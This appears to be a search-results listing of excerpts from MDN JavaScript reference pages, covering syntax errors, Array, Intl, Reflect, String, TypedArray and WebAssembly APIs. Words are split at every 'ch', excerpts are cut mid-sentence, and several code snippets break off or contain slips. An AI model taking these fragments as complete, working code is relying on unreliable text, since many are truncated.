character // at line 1 column 14 of the json data omit the trailing commas to parse the json correctly: json.parse('[1, 2, 3, 4]'); json.parse('{"foo": 1}'); property names must be double-quoted strings you cannot use single-quotes around properties, like 'foo'.
SyntaxError: missing } after function body - JavaScript
check if any closing curly brackets or parenthesis are in the correct order.
...also
check if any closing curly brackets or parenthesis are in the correct order.
... examples forgotten closing curly bracket oftentimes, there is a missing curly bracket in your function code: var
charge = function() { if (sunny) { usesolarcells(); } else { promptbikeride(); }; correct would be: var
charge = function() { if (sunny) { usesolarcells(); } else { promptbikeride(); } }; it can be more obscure when using iife, closures, or other constructs that use a lot of different parenthesis and curly brackets, for example.
... (function() { if (true) { return false; } ); oftentimes, indenting differently or double
checking indentation helps to spot these errors.
ReferenceError: reference to undefined property "x" - JavaScript
the javascript warning "reference to undefined property" occurs when a script attempted to access an object property whi
ch doesn't exist.
... message referenceerror: reference to undefined property "x" (firefox) error type (firefox only) referenceerror warning whi
ch is reported only if javascript.options.strict preference is set to true.
... the script attempted to access an object property whi
ch doesn't exist.
... var foo = {}; foo.bar; // referenceerror: reference to undefined property "bar" valid cases to avoid the error, you need to either add a definition for bar to the object or
check for the existence of the bar property before trying to access it; one way to do that is to use the object.prototype.hasownproperty() method), like this: var foo = {}; // define the bar property foo.bar = 'moon'; console.log(foo.bar); // "moon" // test to be sure bar exists before accessing it if (foo.hasownproperty('bar')) { console.log(foo.bar); } ...
SyntaxError: function statement requires a name - JavaScript
message syntax error: expected identifier (edge) syntaxerror: function statement requires a name [firefox] syntaxerror: unexpected token ( [
chrome] error type syntaxerror what went wrong?
...you'll need to
check how functions are defined and if you need to provide a name for it, or if the function in question needs to be a function expression, an iife, or if the function code is placed correctly in this context at all.
...nts vs expressions a function statement (or function declaration) requires a name, this won't work: function () { return 'hello world'; } // syntaxerror: function statement requires a name you can use a function expression (assignment) instead: var greet = function() { return 'hello world'; }; or, you function is maybe intended to be an iife (immediately invoked function expression), whi
ch is a function that runs as soon as it is defined.
... var greeter = { german: function () { return "moin"; } }; callback syntax also,
check your syntax when using callbacks.
Default parameters - JavaScript
b : 1 return a * b } multiply(5, 2) // 10 multiply(5) // 5 with default parameters in es2015,
checks in the function body are no longer necessary.
...so, unlike (for example) python, a new object is created ea
ch time the function is called.
...ers parameters defined earlier (to the left) are available to later default parameters: function greet(name, greeting, message = greeting + ' ' + name) { return [name, greeting, message] } greet('david', 'hi') // ["david", "hi", "hi david"] greet('david', 'hi', 'happy birthday!') // ["david", "hi", "happy birthday!"] this functionality can be approximated like this, whi
ch demonstrates how many edge cases are handled: function go() { return ':p' } function withdefaults(a, b = 5, c = b, d = go(), e = this, f = arguments, g = this.value) { return [a, b, c, d, e, f, g] } function withoutdefaults(a, b, c, d, e, f, g) { swit
ch (arguments.length) { case 0: a; case 1: b = 5; case 2: c = b; case 3: d = ...
... the following function will throw a referenceerror when invoked, because the default parameter value does not have access to the
child scope of the function body: function f(a = go()) { // throws a `referenceerror` when `f` is invoked.
Array.prototype.copyWithin() - JavaScript
syntax arr.copywithin(target[, start[, end]]) parameters target zero-based index at whi
ch to copy the sequence to.
... start optional zero-based index at whi
ch to start copying elements from.
... end optional zero-based index at whi
ch to end copying elements from.
...it does not alter the length of this, but it will
change its content and create new properties, if necessary.
Array.prototype.fill() - JavaScript
the fill() method
changes all elements in an array to a static value, from a start index (default 0) to an end index (default array.length).
... fill is a mutator method: it will
change the array itself and return it, not a copy of it.
... if the first parameter is an object, ea
ch slot in the array will reference that object.
... // [1, 4, 3] [1, 2, 3].fill(4, 1, 1) // [1, 2, 3] [1, 2, 3].fill(4, 3, 3) // [1, 2, 3] [1, 2, 3].fill(4, -3, -2) // [4, 2, 3] [1, 2, 3].fill(4, nan, nan) // [1, 2, 3] [1, 2, 3].fill(4, 3, 5) // [1, 2, 3] array(3).fill(4) // [4, 4, 4] [].fill.call({ length: 3 }, 4) // {0: 4, 1: 4, 2: 4, length: 3} // a single object, referenced by ea
ch slot of the array: let arr = array(3).fill({}) // [{}, {}, {}] arr[0].hi = "hi" // [{ hi: "hi" }, { hi: "hi" }, { hi: "hi" }] specifications specification ecmascript (ecma-262)the definition of 'array.prototype.fill' in that specification.
Array.prototype.unshift() - JavaScript
return value the new length property of the object upon whi
ch the method was called.
...objects whi
ch do not contain a length property—reflecting the last in a series of consecutive, zero-based numerical properties—may not behave in any meaningful manner.
... please note that, if multiple elements are passed as parameters, they're inserted in
chunk at the beginning of the object, in the exact same order they were passed as parameters.
... see example: let arr = [4, 5, 6] arr.unshift(1, 2, 3) console.log(arr); // [1, 2, 3, 4, 5, 6] arr = [4, 5, 6] // resetting the array arr.unshift(1) arr.unshift(2) arr.unshift(3) console.log(arr) // [3, 2, 1, 4, 5, 6] examples using unshift let arr = [1, 2] arr.unshift(0) // result of the call is 3, whi
ch is the new array length // arr is [0, 1, 2] arr.unshift(-2, -1) // the new array length is 5 // arr is [-2, -1, 0, 1, 2] arr.unshift([-4, -3]) // the new array length is 6 // arr is [[-4, -3], -2, -1, 0, 1, 2] arr.unshift([-7, -6], [-5]) // the new array length is 8 // arr is [ [-7, -6], [-5], [-4, -3], -2, -1, 0, 1, 2 ] specifications specification ecmasc...
Atomics - JavaScript
atomics.compareex
change() stores a value at the specified index of the array, if it equals a value.
... atomics.ex
change() stores a value at the specified index of the array.
... examples using atomics const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); ta[0] = 5; atomics.add(ta, 0, 12); atomics.load(ta, 0); // 12 atomics.and(ta, 0, 1); atomics.load(ta, 0); // 1 atomics.compareex
change(ta, 0, 5, 12); atomics.load(ta, 0); // 12 atomics.ex
change(ta, 0, 12); atomics.load(ta, 0); // 12 atomics.islockfree(1); // true atomics.islockfree(2); // true atomics.islockfree(3); // false atomics.islockfree(4); // true atomics.or(ta, 0, 1); atomics.load(ta, 0); // 5 atomics.store(ta, 0, 12); // 12 atomics.sub(ta, 0, 2); atomics.load(ta, 0); // 3 atomics.xor(ta, 0, 1); atomics.load(...
...ta, 0); // 4 waiting and notifiying given a shared int32array: const sab = new sharedarraybuffer(1024); const int32 = new int32array(sab); a reading thread is sleeping and waiting on location 0 whi
ch is expected to be 0.
Function() constructor - JavaScript
however, unlike eval, the function constructor creates functions whi
ch execute in the global scope only.
...ea
ch must be a string that corresponds to a valid javascript identifier, or a list of su
ch strings separated with a comma.
...this is less efficient than declaring a function with a function expression or function statement and calling it within your code because su
ch functions are parsed with the rest of the code.
... all arguments passed to the function are treated as the names of the identifiers of the parameters in the function to be created, in the order in whi
ch they are passed.
GeneratorFunction - JavaScript
ea
ch must be a string that corresponds to a valid javascript identifier or a list of su
ch strings separated with a comma; for example "x", "thevalue", or "a,b".
...this is less efficient than declaring a generator function with a function* expression and calling it within your code, because su
ch functions are parsed with the rest of the code.
... all arguments passed to the function are treated as the names of the identifiers of the parameters in the function to be created, in the order in whi
ch they are passed.
... when running them, they will only be able to access their own local variables and global ones, not the ones from the scope in whi
ch the generatorfunction constructor was called.
Intl.Collator.prototype.compare() - JavaScript
syntax collator.compare(string1, string2) parameters string1 string2 the strings to compare against ea
ch other.
... description the compare getter function returns a number indicating how string1 and string2 compare to ea
ch other according to the sort order of this collator object: a negative value if string1 comes before string2; a positive value if string1 comes after string2; 0 if they are considered equal.
...note that the function is bound to the collator from whi
ch it was obtained, so it can be passed directly to array.prototype.sort().
... var a = ['offenba
ch', 'Österrei
ch', 'odenwald']; var collator = new intl.collator('de-u-co-phonebk'); a.sort(collator.compare); console.log(a.join(', ')); // → "odenwald, Österrei
ch, offenba
ch" using compare for array sear
ch use the compare getter function for finding mat
ching strings in arrays: var a = ['congrès', 'congres', 'assemblée', 'poisson']; var collator = new intl.collator('fr', { usage: 'sear
ch', sensitivity: 'base' }); var s = 'congres'; var mat
ches = a.filter(v => collator.compare(v, s) === 0); console.log(mat
ches.join(', ')); // → "congrès, congres" specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.collator.prototype.compare' in that specification.
Intl.DisplayNames - JavaScript
// get display names of region in english let regionnames = new intl.displaynames(['en'], {type: 'region'}); regionnames.of('419'); // "latin america" regionnames.of('bz'); // "belize" regionnames.of('us'); // "united states" regionnames.of('ba'); // "bosnia & herzegovina" regionnames.of('mm'); // "myanmar (burma)" // get display names of region in traditional
chinese regionnames = new intl.displaynames(['zh-hant'], {type: 'region'}); regionnames.of('419'; // "拉丁美洲" regionnames.of('bz'); // "貝里斯" regionnames.of('us'); // "美國" regionnames.of('ba'); // "波士尼亞與赫塞哥維納" regionnames.of('mm'); // "緬甸" language display names to create an intl.displaynames for a locale and get the display name for a language-script-region ...
... // get display names of language in english let languagenames = new intl.displaynames(['en'], {type: 'language'}); languagenames.of('fr'); // "fren
ch" languagenames.of('de'); // "german" languagenames.of('fr-ca'); // "canadian fren
ch" languagenames.of('zh-hant'); // "traditional
chinese" languagenames.of('en-us'); // "american english" languagenames.of('zh-tw'); // "
chinese (taiwan)"] // get display names of language in traditional
chinese languagenames = new intl.displaynames(['zh-hant'], {type: 'language'}); languagenames.of('fr'); // "法文" languagenames.of('zh'); // "中文" languagenames.of('de'); // "德文" script code display names to create an intl.displaynames for a locale and get the display name for a script code.
... // get display names of script in english let scriptnames = new intl.displaynames(['en'], {type: 'script'}); // get script names scriptnames.of('latn'); // "latin" scriptnames.of('arab'); // "arabic" scriptnames.of('kana'); // "katakana" // get display names of script in traditional
chinese scriptnames = new intl.displaynames(['zh-hant'], {type: 'script'}); scriptnames.of('latn'); // "拉丁文" scriptnames.of('arab'); // "阿拉伯文" scriptnames.of('kana'); // "片假名" currency code display names to create an intl.displaynames for a locale and get the display name for currency code.
... // get display names of currency code in english let currencynames = new intl.displaynames(['en'], {type: 'currency'}); // get currency names currencynames.of('usd'); // "us dollar" currencynames.of('eur'); // "euro" currencynames.of('twd'); // "new taiwan dollar" currencynames.of('cny'); // "
chinese yuan" // get display names of currency code in traditional
chinese currencynames = new intl.displaynames(['zh-hant'], {type: 'currency'}); currencynames.of('usd'); // "美元" currencynames.of('eur'); // "歐元" currencynames.of('twd'); // "新台幣" currencynames.of('cny'); // "人民幣" specifications specification intl.displaynamesthe definition of 'displaynames' in that specification.
Intl.Locale.prototype.numeric - JavaScript
the intl.locale.prototype.numeric property is an accessor property that returns whether the locale has special collation handling for numeric
characters.
...numeric is a boolean value, whi
ch means that it can be either true or false.
...if numeric is set to true, then the locale will take numeric
characters into account when collating strings.
... let numericviastr = new intl.locale("fr-latn-fr-u-kn-false"); console.log(numericstr.numeric); // prints "false" setting the numeric value via the configuration object argument the intl.locale constructor has an optional configuration object argument, whi
ch can be used to pass extension types.
Intl.Locale - JavaScript
extension tags hold information about locale aspects su
ch as calendar type, clock type, and numbering system type.
... intl.locale.prototype.collation returns the collation type for the locale, whi
ch is used to order strings according to the locale's rules.
... intl.locale.prototype.numeric returns whether the locale has special collation handling for numeric
characters.
... examples basic usage at its very simplest, the intl.locale constructor takes a locale identifier string as its argument: let us = new intl.locale('en-us'); using the locale constructor with an options object the constructor also takes an optional configuration object argument, whi
ch can contain any of several extension types.
Intl.NumberFormat.prototype.formatToParts() - JavaScript
it returns an array of objects containing the locale-specific tokens from whi
ch it possible to build custom strings while preserving the locale-specific parts.
... the structure the formattoparts() method returns, looks like this: [ { type: "integer", value: "3" }, { type: "group", value: "." }, { type: "integer", value: "500" } ] possible types are the following: currency the currency string, su
ch as the symbols "$" and "€" or the name "dollar", "euro" depending on how currencydisplay is specified.
...for example by using array.prototype.map(), arrow functions, a swit
ch statement, template literals, and array.prototype.reduce().
... var numberstring = formatter.formattoparts(number).map(({type, value}) => { swit
ch (type) { case 'currency': return `<strong>${value}</strong>`; default : return value; } }).reduce((string, part) => string + part); this will make the currency bold, when using the formattoparts() method.
Math.random() - JavaScript
the math.random() function returns a floating-point, pseudo-random number in the range 0 to less than 1 (inclusive of 0, but not 1) with approximately uniform distribution over that range — whi
ch you can then scale to your desired range.
... the implementation selects the initial seed to the random number generation algorithm; it cannot be
chosen or reset by the user.
...if extremely large bounds are
chosen (253 or higher), it's possible in extremely rare cases to calculate the usually-excluded upper bound.
... function getrandomint(min, max) { min = math.ceil(min); max = math.floor(max); return math.floor(math.random() * (max - min) + min); //the maximum is exclusive and the minimum is inclusive } it might be tempting to use math.round() to accomplish that, but doing so would cause your random numbers to follow a non-uniform distribution, whi
ch may not be acceptable for your needs.
Math.random() - JavaScript
the math.random() function returns a floating-point, pseudo-random number in the range 0 to less than 1 (inclusive of 0, but not 1) with approximately uniform distribution over that range — whi
ch you can then scale to your desired range.
... the implementation selects the initial seed to the random number generation algorithm; it cannot be
chosen or reset by the user.
...if extremely large bounds are
chosen (253 or higher), it's possible in extremely rare cases to calculate the usually-excluded upper bound.
... function getrandomint(min, max) { min = math.ceil(min); max = math.floor(max); return math.floor(math.random() * (max - min) + min); //the maximum is exclusive and the minimum is inclusive } it might be tempting to use math.round() to accomplish that, but doing so would cause your random numbers to follow a non-uniform distribution, whi
ch may not be acceptable for your needs.
Object.getOwnPropertyNames() - JavaScript
the object.getownpropertynames() method returns an array of all properties (including non-enumerable properties except for those whi
ch use symbol) found directly in a given object.
...// logs ["0", "1", "2"] // logging property names and values using array.forea
ch object.getownpropertynames(obj).forea
ch( function (val, idx, array) { console.log(val + ' -> ' + obj[val]); } ); // logs // 0 -> a // 1 -> b // 2 -> c // non-enumerable property var my_obj = object.create({}, { getfoo: { value: function() { return this.foo; }, enumerable: false } }); my_obj.foo = 1; console.log(object.getownpropertynames(my_obj).sort()); // logs ["foo", "get...
...foo"] if you want only the enumerable properties, see object.keys() or use a for...in loop (note that this will also return enumerable properties found along the prototype
chain for the object unless the latter is filtered with hasownproperty()).
... items on the prototype
chain are not listed: function parentclass() {} parentclass.prototype.inheritedmethod = function() {}; function
childclass() { this.prop = 5; this.method = function() {}; }
childclass.prototype = new parentclass;
childclass.prototype.prototypemethod = function() {}; console.log( object.getownpropertynames( new
childclass() // ["prop", "method"] ) ); get non-enumerable properties only this uses the array.prototype.filter() function to remove the enumerable keys (obtained with object.keys()) from a list of all keys (obtained with object.getownpropertynames()) thus giving only the non-enumerable keys as output.
Object.prototype.toString() - JavaScript
description every object has a tostring() method that is automatically called when the object is to be represented as a text value or when an object is referred to in a manner in whi
ch a string is expected.
... the following code defines the dog object type and creates thedog, an object of type dog: function dog(name, breed, color, sex) { this.name = name; this.breed = breed; this.color = color; this.sex = sex; } thedog = new dog('gabby', 'lab', '
chocolate', 'female'); if you call the tostring() method on this custom object, it returns the default value inherited from object: thedog.tostring(); // returns [object object] the following code creates and assigns dogtostring() to override the default tostring() method.
...'dog ' + this.name + ' is a ' + this.sex + ' ' + this.color + ' ' + this.breed; return ret; } or, using es6 template strings: dog.prototype.tostring = function dogtostring() { return `dog ${this.name} is a ${this.sex} ${this.color} ${this.breed}`; } with the preceding code in place, any time thedog is used in a string context, javascript automatically calls the dogtostring() function, whi
ch returns the following string: "dog gabby is a female
chocolate lab" using tostring() to detect object class tostring() can be used with every object and (by default) allows you to get its class.
... const tostring = object.prototype.tostring; tostring.call(new date); // [object date] tostring.call(new string); // [object string] tostring.call(math); // [object math] // since javascript 1.8.5 tostring.call(undefined); // [object undefined] tostring.call(null); // [object null] using tostring() in this way is unreliable; objects can
change the behavior of object.prototype.tostring() by defining a symbol.tostringtag property, leading to unexpected results.
Promise.prototype.finally() - JavaScript
this helps to avoid duplicating code in both the promise's then() and cat
ch() handlers.
...so for example: unlike promise.resolve(2).then(() => {}, () => {}) (whi
ch will be resolved with undefined), promise.resolve(2).finally(() => {}) will be resolved with 2.
... similarly, unlike promise.reject(3).then(() => {}, () => {}) (whi
ch will be fulfilled with undefined), promise.reject(3).finally(() => {}) will be rejected with 3.
... examples using finally let isloading = true; fet
ch(myrequest).then(function(response) { var contenttype = response.headers.get("content-type"); if(contenttype && contenttype.includes("application/json")) { return response.json(); } throw new typeerror("oops, we haven't got json!"); }) .then(function(json) { /* process your json further */ }) .cat
ch(function(error) { console.error(error); /* this line can also throw, e.g.
handler.set() - JavaScript
receiver the object to whi
ch the assignment was originally directed.
...but a set() handler can also be called indirectly, via the prototype
chain or various other ways.
... for example: suppose a script does obj.name = "jen", and obj is not a proxy, and has no own property .name, but it has a proxy on its prototype
chain.
... interceptions this trap can intercept these operations: property assignment: proxy[foo] = bar and proxy.foo = bar inherited property assignment: object.create(proxy)[foo] = bar reflect.set() invariants if the following invariants are violated, the proxy will throw a typeerror: cannot
change the value of a property to be different from the value of the corresponding target object property if the corresponding target object property is a non-writable, non-configurable data property.
Reflect.has() - JavaScript
syntax reflect.has(target, propertykey) parameters target the target object in whi
ch to look for the property.
... propertykey the name of the property to
check.
... description the reflect.has method allows you to
check if a property is in an object.
... examples using reflect.has() reflect.has({x: 0}, 'x') // true reflect.has({x: 0}, 'y') // false // returns true for properties in the prototype
chain reflect.has({x: 0}, 'tostring') // proxy with .has() handler method obj = new proxy({}, { has(t, k) { return k.startswith('door') } }); reflect.has(obj, 'doorbell') // true reflect.has(obj, 'dormitory') // false reflect.has returns true for any inherited properties, like the in operator: const a = {foo: 123} const b = {__proto__: a} const c = {__proto__: b} // the prototype
chain is: c -> b -> a reflect.has(c, 'foo') // true specifications specification ecmascript (ecma-262)the definition of 'reflect.has' in that specification.
Reflect.setPrototypeOf() - JavaScript
syntax reflect.setprototypeof(target, prototype) parameters target the target object of whi
ch to set the prototype.
... description the reflect.setprototypeof method
changes the prototype (i.e.
... examples using reflect.setprototypeof() reflect.setprototypeof({}, object.prototype) // true // it can
change an object's [[prototype]] to null.
...reflect.setprototypeof(object.freeze({}), null) // false // returns false if it cause a prototype
chain cycle.
RegExp.prototype.dotAll - JavaScript
the "s" flag indicates that the dot special
character (".") should additionally mat
ch the following line terminator ("newline")
characters in a string, whi
ch it would not mat
ch otherwise: u+000a line feed (lf) ("\n") u+000d carriage return (cr) ("\r") u+2028 line separator u+2029 paragraph separator this effectively means the dot will mat
ch any
character on the unicode basic multilingual plane (bmp).
... to allow it to mat
ch astral
characters, the "u" (unicode) flag should be used.
... using both flags in conjunction allows the dot to mat
ch any unicode
character, without exceptions.
... you cannot
change this property directly.
RegExp.$1-$9 - JavaScript
the legacy regexp $1, $2, $3, $4, $5, $6, $7, $8, $9 properties are static and read-only properties of regular expressions that contain parenthesized substring mat
ches.
... the values of these properties are read-only and modified whenever successful mat
ches are made.
... examples using $n with string.replace the following script uses the replace() method of the string instance to mat
ch a name in the format first last and output it in the format last, first.
... in the replacement text, the script uses $1 and $2 to indicate the results of the corresponding mat
ching parentheses in the regular expression pattern.
String.prototype.endsWith() - JavaScript
the endswith() method determines whether a string ends with the
characters of a specified string, returning true or false as appropriate.
... syntax str.endswith(sear
chstring[, length]) parameters sear
chstring the
characters to be sear
ched for at the end of str.
... return value true if the given
characters are found at the end of the string; otherwise, false.
...however, you can polyfill string.prototype.endswith() with the following snippet: if (!string.prototype.endswith) { string.prototype.endswith = function(sear
ch, this_len) { if (this_len === undefined || this_len > this.length) { this_len = this.length; } return this.substring(this_len - sear
ch.length, this_len) === sear
ch; }; } examples using endswith() let str = 'to be, or not to be, that is the question.' console.log(str.endswith('question.')) // true console.log(str.endswith('to be')) // false console.log(str.endswith('to be', 1...
String.fromCodePoint() - JavaScript
use the code below for a polyfill: if (!string.fromcodepoint) (function(stringfrom
charcode) { var fromcodepoint = function(_) { var codeunits = [], codelen = 0, result = ""; for (var index=0, len = arguments.length; index !== len; ++index) { var codepoint = +arguments[index]; // correctly handles all cases including `nan`, `-infinity`, `+infinity` // the surrounding `!(...)` is required to correctly handle `nan` cases // the (codepo...
...// astral code point; split in surrogate halves // https://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae codepoint -= 0x10000; codelen = codeunits.push( (codepoint >> 10) + 0xd800, // highsurrogate (codepoint % 0x400) + 0xdc00 // lowsurrogate ); } if (codelen >= 0x3fff) { result += stringfrom
charcode.apply(null, codeunits); codeunits.length = 0; } } return result + stringfrom
charcode.apply(null, codeunits); }; try { // ie 8 only supports `object.defineproperty` on dom elements object.defineproperty(string, "fromcodepoint", { "value": fromcodepoint, "configurable": true, "writable": true }); } cat
ch(e) { string.fromcodep...
...oint = fromcodepoint; } }(string.from
charcode)); examples using fromcodepoint() valid input: string.fromcodepoint(42); // "*" string.fromcodepoint(65, 90); // "az" string.fromcodepoint(0x404); // "\u0404" == "Є" string.fromcodepoint(0x2f804); // "\ud87e\udc04" string.fromcodepoint(194564); // "\ud87e\udc04" string.fromcodepoint(0x1d306, 0x61, 0x1d307); // "\ud834\udf06a\ud834\udf07" invalid input: string.fromcodepoint('_'); // rangeerror string.fromcodepoint(infinity); // rangeerror string.fromcodepoint(-1); // rangeerror string.fromcodepoint(3.14); // rangeerror string.fromcodepoint(3e-2); // rangeerror string.fromcodepoint(nan); // rangeerror compared to from
charcode() string.from
charcode() cannot return supplementary
characters (i.e.
...instead, it requires the utf-16 surrogate pair in order to return a supplementary
character: string.from
charcode(0xd83c, 0xdf03); // code point u+1f303 "night with string.from
charcode(55356, 57091); // stars" == "\ud83c\udf03" string.fromcodepoint(), on the other hand, can return 4-byte supplementary
characters, as well as the more common 2-byte bmp
characters, by specifying their code point (whi
ch is equivalent to the utf-32 code unit): string.fromcodepoint(0x1f303); // or 127747 in decimal specifications specification ecmascript (ecma-262)the definition of 'string.fromcodepoint' in that specification.
String.prototype.includes() - JavaScript
syntax str.includes(sear
chstring[, position]) parameters sear
chstring a string to be sear
ched for within str.
... position optional the position within the string at whi
ch to begin sear
ching for sear
chstring.
... (defaults to 0.) return value true if the sear
ch string is found anywhere within the given string; otherwise, false if not.
... however, you can easily polyfill this method: if (!string.prototype.includes) { string.prototype.includes = function(sear
ch, start) { 'use strict'; if (sear
ch instanceof regexp) { throw typeerror('first argument must not be a regexp'); } if (start === undefined) { start = 0; } return this.indexof(sear
ch, start) !== -1; }; } examples using includes() const str = 'to be, or not to be, that is the question.' console.log(str.includes('to be')) // true console.log(str.includes('ques...
String.raw() - JavaScript
examples using string.raw() string.raw`hi\n${2+3}!`; // 'hi\n5!', the
character after 'hi' // is not a newline
character, // '\' and 'n' are two
characters.
... string.raw`hi\u000a!`; // 'hi\u000a!', same here, this time we will get the // \, u, 0, 0, 0, a, 6
characters.
... // all kinds of escape
characters will be ineffective // and backslashes will be present in the output string.
... // you can confirm this by
checking the .length property // of the string.
TypedArray.prototype.every() - JavaScript
syntax typedarray.every(callback[, thisarg]) parameters callback function to test for ea
ch element, taking three arguments: currentvalue the current element being processed in the typed array.
... description the every method executes the provided callback function once for ea
ch element present in the typed array until it finds one where callback returns a falsy value (a value that becomes false when converted to a boolean).
... if su
ch an element is found, the every method immediately returns false.
... every does not mutate the typed array on whi
ch it is called.
TypedArray.prototype.set() - JavaScript
syntax typedarray.set(array[, offset]) typedarray.set(typedarray[, offset]) parameters array the array from whi
ch to copy values.
... all values from the source array are copied into the target array, unless the length of the source array plus the offset exceeds the length of the target array, in whi
ch case an exception is thrown.
... offset optional the offset into the target array at whi
ch to begin writing values from the source array.
... exceptions a rangeerror, if the offset is set su
ch as it would store beyond the end of the typed array.
TypedArray.prototype.some() - JavaScript
syntax typedarray.some(callback[, thisarg]) parameters callback function to test for ea
ch element, taking three arguments: currentvalue the current element being processed in the typed array.
... description the some method executes the callback function once for ea
ch element present in the typed array until it finds one where callback returns a true value.
... if su
ch an element is found, some immediately returns true.
... some does not mutate the typed array on whi
ch it is called.
WebAssembly.Instance.prototype.exports - JavaScript
instance.exports examples using exports after fet
ching some webassembly bytecode using fet
ch, we compile and instantiate the module using the webassembly.instantiatestreaming() function, importing a javascript function into the webassembly module in the process.
... var importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; webassembly.instantiatestreaming(fet
ch('simple.wasm'), importobject) .then(obj => obj.instance.exports.exported_func()); note: you can also find this example as instantiate-streaming.html on github (view it live also).
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobileserver
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsexports
chrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11webview android full support 57
chrome android ...
WebAssembly.LinkError() constructor - JavaScript
the webassembly.linkerror() constructor creates a new webassembly linkerror object, whi
ch indicates an error during module instantiation (besides traps from the start function).
... examples creating a new linkerror instance the following snippet creates a new linkerror instance, and logs its details to the console: try { throw new webassembly.linkerror('hello', 'somefile', 10); } cat
ch (e) { console.log(e instanceof linkerror); // true console.log(e.message); // "hello" console.log(e.name); // "linkerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was ...
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobileserver
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jslinkerror() constructor
chrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11webview android full support 57c...
WebAssembly.Memory.prototype.buffer - JavaScript
examples using buffer the following example (see memory.html on github, and view it live also) fet
ches and instantiates the loaded memory.wasm byte code using the webassembly.instantiatestreaming() method, while importing the memory created in the line above.
... webassembly.instantiatestreaming(fet
ch('memory.wasm'), { js: { mem: memory } }) .then(obj => { var i32 = new uint32array(memory.buffer); for (var i = 0; i < 10; i++) { i32[i] = i; } var sum = obj.instance.exports.accumulate(0, 10); console.log(sum); }); specifications specification webassembly javascript interfacethe definition of 'buffer' in that specification.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobileserver
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsbuffer
chrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11webview android full support 57
chrome android ...
WebAssembly.RuntimeError() constructor - JavaScript
examples creating a new runtimeerror instance the following snippet creates a new runtimeerror instance, and logs its details to the console: try { throw new webassembly.runtimeerror('hello', 'somefile', 10); } cat
ch (e) { console.log(e instanceof runtimeerror); // true console.log(e.message); // "hello" console.log(e.name); // "runtimeerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the cod...
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobileserver
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsruntimeerror() constructor
chrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11webview android full support ...
...57
chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full support 7.0nodejs full support 8.0.0legend full support full support no support no supportsee implementation ...
WebAssembly.Table() constructor - JavaScript
so after instantiation, the table still has length 2, but the elements now contain callable exported webassembly functions whi
ch we can call from js.
... webassembly.instantiatestreaming(fet
ch('table2.wasm'), importobject) .then(function(obj) { console.log(tbl.length); console.log(tbl.get(0)()); console.log(tbl.get(1)()); }); note how you've got to include a second function invocation operator at the end of the accessor to actually invoke the referenced function and log the value stored inside it (e.g.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobileserver
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jstable() constructor
chrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11webview android full support 57
chrom...
WebAssembly.compileStreaming() - JavaScript
because the compilestreaming() function accepts a promise for a response object, you can directly pass it a windoworworkerglobalscope.fet
ch() call, and it will pass the response into the function when it fulfills.
... var importobject = { imports: { imported_func: arg => console.log(arg) } }; webassembly.compilestreaming(fet
ch('simple.wasm')) .then(module => webassembly.instantiate(module, importobject)) .then(instance => instance.exports.exported_func()); the resulting module instance is then instantiated using webassembly.instantiate(), and the exported function invoked.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobileserver
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jscompilestreaming
chrome full support 61edge full support 16firefox full support 58ie no support noopera full support 47safari no support nowebview android full support 61
chrome android full support 61firefox android full support ...
decodeURI() - JavaScript
exceptions throws an urierror ("malformed uri sequence") exception when encodeduri contains invalid
character sequences.
... description replaces ea
ch escape sequence in the encoded uri with the
character that it represents, but does not decode escape sequences that could not have been introduced by encodeuri.
... the
character “#” is not decoded from escape sequences.
... examples decoding a cyrillic url decodeuri('https://developer.mozilla.org/ru/docs/javascript_%d1%88%d0%b5%d0%bb%d0%bb%d1%8b'); // "https://developer.mozilla.org/ru/docs/javascript_шеллы" cat
ching errors try { var a = decodeuri('%e0%a4%a'); } cat
ch(e) { console.error(e); } // urierror: malformed uri sequence specifications specification ecmascript (ecma-262)the definition of 'decodeuri' in that specification.
function* expression - JavaScript
can be omitted, in whi
ch case the function is anonymous.
... statements the statements whi
ch comprise the body of the function.
...the main difference between a function* expression and a function* statement is the function name, whi
ch can be omitted in function* expressions to create anonymous generator functions.
... see also the
chapter about functions for more information.
in operator - JavaScript
the in operator returns true if the specified property is in the specified object or its prototype
chain.
... object object to
check if it (or its prototype
chain) contains the property with specified name (prop).
